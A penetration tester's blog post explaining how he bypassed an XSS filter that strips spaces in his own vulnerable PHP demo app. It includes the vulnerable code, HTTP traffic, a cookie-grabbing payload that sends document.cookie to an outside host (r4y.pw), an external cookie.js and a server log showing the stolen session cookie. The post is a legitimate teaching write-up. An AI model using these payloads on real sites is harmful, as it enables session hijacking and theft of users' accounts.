XSS Without Spaces – Finally, an Easier Filter

Back to some web applications, I wanted to share an example of XSS without spaces.

XSS Without Spaces - Introduction

Not too long ago, I had a coworker who was running into a few issues with an XSS filter. He knew that he had injection, but the application seemed to be stripping all the spaces from his input.

This was one of the easier filter bypasses that I've had to work on, but I figured that it was still worth sharing. I noticed that I didn't have a post about this bypass yet, and he couldn't find anything when searching my blog either.

In the end, he could weaponize the injection, and demonstrate cookie theft!

Vulnerable Application

I will be using a slightly modified version of my vulnerable application from my XSS Phishing post.

You can find the code below, and I've highlighted the filter that strips the spaces from user input.

    $cookie_name = "secret";
    $cookie_value = "thisISmy$3cr3t";
    setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day

<!DOCTYPE html>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" href="resources/style.css">

    <title>Vulnerable to XSS Without Spaces</title>


<div class="main">
Here is my vulnerable form (value parameter):
    <input type="text" value="<?php echo preg_replace('/\s+/', '', ($_GET['value'])); ?>">

    console.log("This is my logger function (I'll need this closing script tag later)!");

<?php include 'footer.php'; ?>

As you can see from the following screenshot, the filter is stripping all the spaces from user input.

XSS Without Spaces - Filter

For another example, you can see the raw HTTP request that I sent.

GET /noSpaces.php?value=Test%20Parameter%20With%20Spaces HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3055.0 Safari/537.36 autochrome/yellow
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=0f0ceab136df688759793bca275eaca7; secret=thisISmy%243cr3t
Connection: close

The response below demonstrates the GET parameter after the application applied the filter.

HTTP/1.1 200 OK
Connection: close
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: secret=thisISmy%243cr3t; expires=Mon, 17-Jun-2019 15:58:40 GMT; Max-Age=2592000; path=/
Content-type: text/html; charset=UTF-8


<div class="main">
Here is my vulnerable form (value parameter):
    <input type="text" value="TestParameterWithSpaces">

    console.log("This is my logger function (I'll need this closing script tag later)!");


First, we verified injection with a simple test.

We injected HTML without any problems, so we knew we were on the right track.

XSS Without Spaces - HTML Injection

Next, we alerted the document.cookie, to verify that XSS was present (and that the cookies weren't HttpOnly).

XSS Without Spaces - Cookie Alert

With XSS discovered, it was time to weaponize the vulnerability.


Normally at this point, I would use a simple cookie grabber, and consider this finding complete."><script>document.write('<img src="http://r4y.pw:8000/grab.png?cookie=' + document.cookie + '" />')</script><a="

Unfortunately, this did not work due to the filter. The below output demonstrates (roughly) what we got back from the server.

Here is my vulnerable form (value parameter):
    <input type="text" value=""><script>document.write('<imgsrc="http://r4y.pw:8000/grab.png?cookie='+document.cookie+'"/>')</script><a="">

I could verify that XSS still worked without spaces with a simple test.

XSS Without Spaces - No Spaces

With all this information, I was able to build our final payload.

First, I injected an external JavaScript file, as I could do that without utilizing spaces. The external JS file contained the cookie stealing code, so the space filter would not break anything there.

The final payload looked like this (hey, I said it was easier).

My cookie.js file was as follows.

document.write('<img src="http://r4y.pw:8000/grab.png?cookie=' + document.cookie + '" />')

When I ran a SimpleHTTPServer on my XSS host, we got the cookies that we wanted! - - [18/May/2019 16:41:46] "GET /grab.png?cookie=PHPSESSID=0f0ceab136df688759793bca275eaca7;%20secret=thisISmy%243cr3t HTTP/1.1" 404 -

XSS Without Spaces - Conclusion

I know that this was a shorter XSS post, but it never helps to have a library of different methods handy.

I'm still hoping to finish up my vulnerable XSS application, so be on the lookout for that.

I also have a few more complicated XSS posts in the pipeline, and I'll get to them when I have time.

Other than that, I'm still buried deep into exploit development, and just finished an awesome training that I will talk about soon!

doyler on Githubdoyler on Twitter
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *


This site uses Akismet to reduce spam. Learn how your comment data is processed.